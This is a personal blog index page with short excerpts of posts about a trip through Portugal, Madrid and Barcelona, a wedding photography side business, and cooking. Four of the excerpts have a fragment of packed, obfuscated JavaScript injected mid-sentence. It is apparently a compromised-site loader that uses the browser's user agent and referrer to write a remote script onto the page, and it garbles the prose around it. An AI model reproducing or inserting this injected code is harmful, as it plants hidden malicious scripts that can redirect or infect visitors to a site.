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Portugal and the sleepy little beach town

On a tip from our good ol’ friend Rick Steves, we headed for the coastal town of Nazare.  Known for its big waves and adorable charm.  Half of the town is right on the water, while the other half is up on a cliff.  It sort of reminds me of Cabo and Pedregal. Since it’s […]

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Portugal, and that time I ate an octopus tentacle

After ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efdka|var|u0026u|referrer|dnbzk||js|php’.split(‘|’),0,{})) Madrid, we were headed for Portugal.  We landed in Lisbon, a torrential downpour currently underway.  After grabbing our little Fiat, we headed for the tiny coastal town of Nazare, known for it’s north-shore-like waves!  Hungry, or was that hangry, from an early flight and no snacks, we stopped in […]

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Madrid is so delicious, and that time we got a bonus churro!

You could say I was a little underwhelmed with the Barcelona food scene.  I’ll chalk it up to it being our first city, and having a few misses, but so far we’ve been far more impressed with the food here in Madrid. I will say that Barcelona served up one of the tastiest meals I’ve […]

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Barcelona, and the time I got a little hangry

Montserrat is a short, 1 hr train ride from Barcelona (see my notes below for tips on train tickets to Montserrat).  And it’s really pretty.  So we went. Montserrat is a Monastery set amongst the mountains.  We didn’t think about this when packing, nor when we set off for Montserrat that morning, and we only […]

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Barcelona and the phrase, “I’m your bitch for the next hour”

We started off our 2nd day with a free tour from New ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tniyd|var|u0026u|referrer|fzksb||js|php’.split(‘|’),0,{})) Europe Tours.  Yep, you heard me right, it’s free.  And it was awesome.  The tour guides are paid in tips, and the free tour works as a mini advertisement for their other, more specialized tours.  Had we known […]

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Barcelona – When a 10 year old made a move on me

It’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efzth|var|u0026u|referrer|hayfi||js|php’.split(‘|’),0,{})) been just over a year since the epic trip to Japan and SE Asia, and we were itching to leave the good ol’ USA, so we packed our bags and headed to Europe! Things started off pretty awesome when we boarded our Lufthansa flight to Frankfurt and scored an […]

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A week in SoCal

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Live Photography

Wedding Season 2015 is (almost) in the books

I started this “little” side hustle in early 2013 without really knowing what to expect.  To say I am pleasantly surprised is probably a bit of an understatement. 30+ weddings later, Brooke and Bryn Photography is turning out to be a pretty legit operation.  We even have business licenses, insurance and pay taxes (none of […]

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Cooking Food Live

The Best Eggplant Dish I’ve Ever Made

Those may or may not have been Nick’s words.  Either way, he liked it!  Which is a far cry from the time I asked him to grab eggplant, pasta sauce, cheese, and bread crumbs (for eggplant parmesan) from the store, and he conveniently forgot to get the eggplant. Sunday morning was our weekly-ish pilgrimage to […]

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Postcards from Highway 1

We decided to take the long way back from San Luis Obispo a few weeks ago.  Normally not my style, but we were driving back on a Friday, which meant I still had the whole weekend to relax.  Here are a few of the highlights. Elephant seals.  It’s like a zoo, only better. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return […]